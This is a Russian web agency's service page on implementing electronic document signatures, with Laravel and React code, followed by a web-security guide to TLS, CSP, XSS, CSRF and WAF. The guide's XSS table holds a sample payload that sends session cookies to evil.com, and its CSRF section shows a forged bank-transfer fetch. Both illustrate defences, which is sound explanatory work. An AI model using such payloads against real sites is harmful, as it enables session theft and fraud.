Реализация электронной подписи документов на сайте

Наша компания занимается разработкой, поддержкой и обслуживанием сайтов любой сложности. От простых одностраничных сайтов до масштабных кластерных систем построенных на микро сервисах. Опыт разработчиков подтвержден сертификатами от вендоров.

Разработка и обслуживание любых видов сайтов:

Информационные сайты или веб-приложения
Сайты визитки, landing page, корпоративные сайты, онлайн каталоги, квиз, промо-сайты, блоги, новостные ресурсы, информационные порталы, форумы, агрегаторы
Сайты или веб-приложения электронной коммерции
Интернет-магазины, B2B-порталы, маркетплейсы, онлайн-обменники, кэшбэк-сайты, биржи, дропшиппинг-платформы, парсеры товаров
Веб-приложения для управления бизнес-процессами
CRM-системы, ERP-системы, корпоративные порталы, системы управления производством, парсеры информации
Сайты или веб-приложения электронных услуг
Доски объявлений, онлайн-школы, онлайн-кинотеатры, конструкторы сайтов, порталы предоставления электронных услуг, видеохостинги, тематические порталы

Это лишь некоторые из технических типов сайтов, с которыми мы работаем, и каждый из них может иметь свои специфические особенности и функциональность, а также быть адаптированным под конкретные потребности и цели клиента

Услуги, которые мы предлагаем
Показано 1 из 1Все 2062 услуг
Реализация электронной подписи документов на сайте
Сложный
~1-2 недели
Часто задаваемые вопросы

Наши компетенции:

Этапы разработки

Последние работы

  • image_website-b2b-advance_0.webp
    Разработка сайта компании B2B ADVANCE
    1362
  • image_web-applications_feedme_466_0.webp
    Разработка веб-приложения для компании FEEDME
    1253
  • image_websites_belfingroup_462_0.webp
    Разработка веб-сайта для компании БЕЛФИНГРУПП
    958
  • image_ecommerce_furnoro_435_0.webp
    Разработка интернет магазина для компании FURNORO
    1190
  • image_crm_enviok_479_0.webp
    Разработка веб-приложения для компании Enviok
    932
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Разработка веб-сайта для компании ФИКСПЕР
    949

Реализация электронного подписания документов

Недавно к нам обратился fintech-стартап: их система подписания договоров с клиентами состояла из простого SMS-кода без соглашения об ЭП. После аудита выяснилось, что юридическая сила таких подписей — ноль, а все договоры под угрозой ничтожности. Мы оперативно внедрили полный цикл: от SMS-кода до КЭП через СБИС. Рассказываем, как избежать подобных ошибок и реализовать юридически значимую электронную подпись на сайте.

Различают три типа ЭП: простая (ПЭП — логин/пароль/SMS-код), усиленная неквалифицированная (НЭП — криптография, сертификат ключа проверки), квалифицированная (КЭП — только через удостоверяющий центр, приравнивается к собственноручной). Выбор зависит от требований к юридической значимости и бюджета. Сравним их ключевые характеристики:

Тип ЭП Юридическая сила Сложность реализации Стоимость Срок внедрения
ПЭП Требует соглашения Низкая Низкая 1–2 дня
НЭП Средняя (с сертификатом) Средняя Средняя 3–5 дней
КЭП Высшая (равна собственноручной) Высокая Высокая 5–10 дней

Почему простая ЭП без соглашения — это ловушка?

Без отдельного соглашения об использовании простой ЭП (оферты или договора присоединения) подпись не имеет юридической силы. Согласно 63-ФЗ, простая ЭП признаётся равнозначной собственноручной подписи только при наличии соглашения между сторонами. Мы всегда фиксируем факт акцепта соглашения через отдельный чекбокс и храним аудит-лог. Иначе даже при успешном SMS-подтверждении документ можно оспорить в суде.

Когда без квалифицированной подписи не обойтись?

КЭП обязательна для госзакупок (44-ФЗ, 223-ФЗ), отчётности в ФНС, Росреестр и сделок с недвижимостью. Юридическая сила КЭП в сотни раз выше, чем у простой ЭП — она подтверждается сертификатом УЦ и ключом ФСБ. Ошибка при выборе может привести к штрафам до 500 000 рублей и признанию сделок недействительными.

Как работает простая ЭП: SMS-подписание договора

Наиболее распространённый подход для B2C: пользователь получает код по SMS, вводит его, мы фиксируем отметку времени, IP, fingerprint и хэш документа. Юридически значима как простая ЭП только при наличии отдельного соглашения об использовании ЭП. Без него — просто подтверждение действия.

// Модель документа с аудитом подписания
class Document extends Model
{
    protected $casts = [
        'signing_metadata' => 'array',
        'signed_at'        => 'datetime',
    ];
}

// Сервис подписания
class DocumentSigningService
{
    public function initiateSignin(Document $document, User $user): void
    {
        // Генерация и отправка кода
        $code = str_pad(random_int(0, 999999), 6, '0', STR_PAD_LEFT);

        Cache::put("signing_code:{$document->id}:{$user->id}", bcrypt($code), now()->addMinutes(15));

        $user->notify(new DocumentSigningCodeNotification($code, $document));
    }

    public function confirmSigning(Document $document, User $user, string $code, Request $request): void
    {
        $cached = Cache::get("signing_code:{$document->id}:{$user->id}");

        if (!$cached || !Hash::check($code, $cached)) {
            throw new InvalidSigningCodeException('Неверный или истёкший код подтверждения');
        }

        // Создать хэш текущей версии документа
        $documentHash = hash('sha256', Storage::disk('s3')->get($document->path));

        $document->update([
            'status'           => 'signed',
            'signed_at'        => now(),
            'signed_by'        => $user->id,
            'document_hash'    => $documentHash,
            'signing_metadata' => [
                'ip'            => $request->ip(),
                'user_agent'    => $request->userAgent(),
                'fingerprint'   => $request->header('X-Client-Fingerprint'),
                'method'        => 'sms_code',
                'phone_last4'   => substr($user->phone, -4),
                'code_sent_at'  => Cache::get("signing_code_sent_at:{$document->id}:{$user->id}"),
                'signed_at_iso' => now()->toIso8601String(),
                'timezone'      => $request->header('X-Timezone', 'UTC'),
            ],
        ]);

        // Зафиксировать подпись в аудит-логе
        AuditLog::create([
            'action'      => 'document.signed',
            'user_id'     => $user->id,
            'document_id' => $document->id,
            'metadata'    => $document->signing_metadata,
        ]);

        Cache::forget("signing_code:{$document->id}:{$user->id}");

        // Отправить подписанную копию на email
        $user->notify(new DocumentSignedNotification($document));
    }
}

Как встроить визуальную подпись в PDF и не потерять юридическую силу?

Для интерфейсов, где пользователь рисует подпись стилусом или мышью, подключаем библиотеку react-signature-canvas (Canvas API). Важно: сама по себе растровая подпись не имеет юридической силы — её нужно привязать к документу через хэш и метаданные. Мы используем два шага: сначала сохраняем изображение подписи и инициируем сессию, затем подтверждаем SMS-кодом.

import SignatureCanvas from 'react-signature-canvas';
import { useRef, useState } from 'react';

function DocumentSigner({ documentId }: { documentId: number }) {
  const sigCanvas = useRef<SignatureCanvas>(null);
  const [step, setStep] = useState<'draw' | 'confirm' | 'sms'>('draw');
  const [smsCode, setSmsCode] = useState('');

  const handleDrawComplete = async () => {
    if (sigCanvas.current?.isEmpty()) return;

    const signatureData = sigCanvas.current!.toDataURL('image/png');

    // Сохранить изображение подписи, перейти к SMS-подтверждению
    await api.post(`/documents/${documentId}/initiate`, { signature_image: signatureData });
    setStep('sms');
  };

  const handleSmsConfirm = async () => {
    await api.post(`/documents/${documentId}/confirm`, { code: smsCode });
    setStep('confirm');
  };

  return (
    <div>
      {step === 'draw' && (
        <>
          <p>Нарисуйте вашу подпись:</p>
          <div style={{ border: '1px solid #e5e7eb', borderRadius: 8 }}>
            <SignatureCanvas
              ref={sigCanvas}
              penColor="#1a1a1a"
              canvasProps={{ width: 500, height: 200, className: 'signature-canvas' }}
            />
          </div>
          <button onClick={() => sigCanvas.current?.clear()}>Очистить</button>
          <button onClick={handleDrawComplete}>Далее</button>
        </>
      )}

      {step === 'sms' && (
        <>
          <p>Введите код из SMS для подтверждения подписи:</p>
          <input
            type="text" inputMode="numeric"
            maxLength={6} value={smsCode}
            onChange={e => setSmsCode(e.target.value)}
          />
          <button onClick={handleSmsConfirm}>Подписать</button>
        </>
      )}

      {step === 'confirm' && (
        <p>Документ успешно подписан. Копия отправлена на ваш email.</p>
      )}
    </div>
  );
}

КЭП через СБИС / КриптоПро: максимальная юридическая сила

Для B2B и госзаказа внедряем квалифицированную электронную подпись. Подключение к СБИС или КриптоПро занимает 5–7 дней. Подписание происходит на стороне УЦ — мы только передаём документ и получаем подпись.

// Интеграция со СБИС API (подписание на стороне УЦ)
class SbisSigningService
{
    public function sign(string $documentBase64, int $signatoryId): string
    {
        $response = Http::withToken($this->getToken())
            ->post('https://online.sbis.ru/service/sbis.Signature.Sign', [
                'jsonrpc' => '2.0',
                'method'  => 'СБИС.ПодписатьДокумент',
                'params'  => [
                    'Документ'     => $documentBase64,
                    'Подписывающий' => $signatoryId,
                ],
            ]);

        return $response->json('result.Подпись');
    }
}

Хранение и проверка подписанных документов

// Верификация подписи — проверить, что документ не изменён после подписания
public function verify(Document $document): bool
{
    $currentHash = hash('sha256', Storage::disk('s3')->get($document->path));
    return hash_equals($document->document_hash, $currentHash);
}

Подписанные документы храним с неизменяемыми правами (S3 Object Lock) — это предотвращает фальсификацию даже при компрометации аккаунта. Дополнительно настраиваем retention policy на 5 лет (срок исковой давности).

Что нужно для юридической значимости простой ЭП? Для придания юридической силы простой ЭП необходимо: - Заключить соглашение об использовании ПЭП (оферта или договор присоединения) - Фиксировать время подписания, IP, User-Agent - Хранить аудит-лог всех действий (кто, когда, что подписал) - Использовать одноразовые SMS-коды с ограниченным сроком действия - Сохранять SHA-256 хэш документа в момент подписания

Что входит в реализацию под ключ

Этап Состав работ Длительность
Аналитика Выбор типа ЭП, согласование юридической схемы 1 день
Проектирование Разработка архитектуры, UX подписания 1–2 дня
Реализация ПЭП SMS-код, хэш, аудит-лог, уведомления 3–4 дня
Canvas + PDF-штамп Визуальная подпись, встраивание в PDF +2–3 дня
КЭП (СБИС/КриптоПро) Интеграция с УЦ, регистрация подписантов 5–7 дней
Хранилище S3 Object Lock, retention, верификация 1–2 дня
Документация и передача API-спецификация, инструкция, обучение 1 день

Оценка точной стоимости и сроков — индивидуально после аудита текущей архитектуры. Получите консультацию по выбору типа подписи для вашего бизнеса — свяжитесь с нами.

Почему стоит заказать реализацию у нас

За 7 лет мы реализовали ЭП для 20+ проектов — от финтех-стартапов до госпорталов. Гарантируем юридическую чистоту и соответствие 63-ФЗ, 149-ФЗ и 152-ФЗ. Передаём полную документацию и доступ к исходному коду. Опыт работы с сертифицированными УЦ (СБИС, КриптоПро, Контур) подтверждён сертификатами.

Закажите аудит текущей системы подписания — мы найдём уязвимости и предложим оптимальное решение.

Безопасность веб-приложений: HTTPS, CSP, XSS, CSRF, WAF, защита от DDoS

Взлом сайта редко выглядит как в кино. Чаще это: бот нашёл endpoint /admin/export без авторизации, скачал базу клиентов, закрыл соединение. Или: через устаревший плагин WordPress залил веб-шелл, теперь сервер рассылает спам. Или тише: XSS в поле комментария позволяет красть session cookies администраторов, и никто не замечает месяцами. Мы такие случаи разбирали десятками — каждый раз уязвимость можно было закрыть на этапе разработки или аудита.

Безопасность веб-приложений — не одна настройка. Это слои защиты, каждый из которых закрывает отдельный класс атак. Закажите аудит — оценим проект и дадим план работ под ключ за 2–4 недели.

HTTPS и правильная конфигурация TLS

HTTPS — минимальный обязательный уровень. Но «есть SSL-сертификат» и «правильно настроен TLS» — разные вещи.

В конфигурации Nginx/Apache проверяем:

  • Протоколы: только TLS 1.2 и TLS 1.3, SSLv3 и TLS 1.0/1.1 — отключены
  • Cipher suites: предпочитать ECDHE (Forward Secrecy), убрать NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — браузер больше не делает незащищённых запросов
  • OCSP Stapling — ускоряет проверку отзыва сертификата
  • Redirect 301 с HTTP на HTTPS — и в конфиге сервера, и в коде (двойной редирект = потеря SEO-веса)

Проверка: SSL Labs (ssllabs.com/ssltest) должен показывать A или A+. Если B — конфигурация слабая.

Let's Encrypt + Certbot для продакшена — стандарт. Автоматическое обновление через certbot renew в cron. Wildcard-сертификат для поддоменов через DNS-01 challenge.

Content Security Policy: самая мощная и самая сложная защита

CSP — HTTP-заголовок, который говорит браузеру, откуда разрешено загружать ресурсы. Правильно настроенный CSP полностью блокирует большинство XSS-атак, даже если уязвимость есть в коде.

Проблема: сломать сайт неправильным CSP проще простого. default-src 'none' — и перестают работать шрифты, картинки, JS. Поэтому начинаем с Content-Security-Policy-Report-Only — CSP логирует нарушения, но ничего не блокирует. Смотрим репорты 2–4 недели, дорабатываем политику, потом переключаем на боевой режим.

Пример реальной политики для сайта с Google Analytics, Google Fonts и Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — случайная строка, генерируется на сервере для каждого запроса. Inline-скрипты с правильным nonce разрешены, без nonce — заблокированы. Это ломает XSS через <script>alert(1)</script> полностью.

'unsafe-inline' в style-src — компромисс для inline-стилей. Лучше убрать, перенеся все стили в CSS-файлы, но это требует рефакторинга.

Почему XSS остаётся самой частой уязвимостью?

XSS (Cross-Site Scripting) — инъекция JS-кода через пользовательский ввод. По статистике OWASP, XSS входит в топ-3 уязвимостей веб-приложений. Три типа:

Тип XSS Пример Защита
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Эскейпинг вывода, CSP
Stored Комментарий с кодом, сохранённый в базе Валидация ввода, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Избегать innerHTML, использовать textContent

Защита: никогда не вставлять пользовательский ввод в HTML без эскейпинга. В PHP — htmlspecialchars() с ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безопасен, {!! $var !!} — опасен. В React — {variable} безопасен, dangerouslySetInnerHTML — опасен. Для Rich Text — htmlpurifier на PHP или DOMPurify в браузере.

Типичный кейс: интернет-магазин с XSS в форме отзыва Клиент обратился после того, как через отзыв на товар злоумышленник украл куки администратора. Мы обнаружили, что поле "отзыв" не экранировалось. Исправили: добавили `htmlspecialchars()` на сервере и `Content-Security-Policy` с nonce для скриптов. После повторного сканирования — 0 уязвимостей.

CSRF: защита форм и API

CSRF (Cross-Site Request Forgery) — злоумышленник заставляет браузер жертвы отправить запрос от её имени. Пример: пользователь авторизован в банке, открывает вредоносную страницу, она делает fetch('https://bank.ru/transfer?to=evil&amount=50000') — если банк не защищён, деньги уходят.

CSRF-токены — стандартная защита для форм: сервер генерирует случайный токен, хранит в сессии, вставляет в форму как hidden field. При POST-запросе токен сверяется. Злоумышленник не знает токен. Laravel делает это автоматически через @csrf.

SameSite cookies — современная защита: SameSite=Strict или SameSite=Lax запрещает браузеру отправлять cookie в cross-site запросах. Работает во всех современных браузерах.

API без сессий (JWT, Bearer tokens) — CSRF неактуален, если токен не хранится в cookie (а в Authorization header или localStorage). Но localStorage уязвим к XSS — поэтому для чувствительных данных предпочтительны HttpOnly cookies с SameSite.

WAF и защита от DDoS

WAF (Web Application Firewall) — фильтрует HTTP-трафик на предмет атак: SQL injection, XSS, path traversal, известные exploit patterns. Варианты:

  • Cloudflare WAF — облачный, правила OWASP Top 10 из коробки, кастомные правила через выражения. Managed Rules автоматически блокируют новые угрозы.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гибко, но требует настройки и мониторинга ложных срабатываний.
  • AWS WAF — для инфраструктуры на AWS, интегрируется с CloudFront и ALB.

DDoS-защита. Cloudflare на уровне L3/L4/L7 — де-факто стандарт для большинства сайтов. Автоматическое смягчение volumetric атак, Under Attack Mode при активной атаке. Для критичной инфраструктуры — Cloudflare Magic Transit или специализированные решения (Qrator, StormWall для российского рынка).

Rate Limiting на уровне приложения — дополнительный слой. Laravel ThrottleRequests middleware: 60 запросов в минуту на IP для общих endpoint, 5 — для /login и /password/reset. Redis как хранилище счётчиков — обязательно для горизонтально масштабируемых систем (иначе лимиты не синхронизируются между серверами).

Другие обязательные меры

Заголовки безопасности. Помимо CSP: X-Frame-Options: DENY (защита от clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (ограничение доступа к API браузера: камера, микрофон, геолокация).

SQL injection. Prepared statements везде. Никаких конкатенаций пользовательского ввода в SQL-строки. ORM (Eloquent, Doctrine) защищает по умолчанию. $wpdb->prepare() в WordPress — обязательно.

Обновления зависимостей. composer audit и npm audit — в CI/CD пайплайн. Dependabot или Renovate для автоматических PR с обновлениями. Критичные CVE — патчить в течение 24 часов.

Секреты и конфигурация. .env — никогда в Git. Секреты в production — через переменные окружения CI/CD (GitHub Secrets, GitLab CI Variables) или HashiCorp Vault. Проверка на утечки: git-secrets, truffleHog в pre-commit hooks.

Как мы работаем

  1. Аудит — сканирование кода, конфигураций, зависимостей, ручная проверка бизнес-логики.
  2. Проектирование — план устранения уязвимостей, подбор стека (CSP, WAF, rate limiting).
  3. Реализация — настройка TLS, CSP, заголовков, внедрение Rate Limiting, WAF.
  4. Тестирование — повторный пентест, нагрузочное тестирование, проверка ложных срабатываний.
  5. Деплой и мониторинг — включение боевого CSP, настройка алертов, обучение команды.

Что входит в работу

  • Отчёт с найденными уязвимостями и рекомендациями (PDF + code snippets)
  • Готовая конфигурация TLS (Nginx/Apache)
  • Политика CSP с режимом Report-Only и боевой версией
  • Настройка WAF и Rate Limiting
  • План обновлений зависимостей
  • Доступы к инструментам мониторинга (Sentry, Datadog)
  • 30 дней постаудит-поддержки (консультации, правки)

Сроки и стоимость

Тип работ Срок Диапазон стоимости
Security-аудит + hardening (заголовки, TLS, обновления) 1–2 недели от 60 000 ₽
Внедрение CSP (Report-Only → продакшен) 2–4 недели от 90 000 ₽
Настройка WAF + Rate Limiting + DDoS защита 1–2 недели от 70 000 ₽
Комплексный security review + пентест 3–6 недель от 200 000 ₽

Бюджет рассчитывается индивидуально — напишите нам, чтобы оценить проект.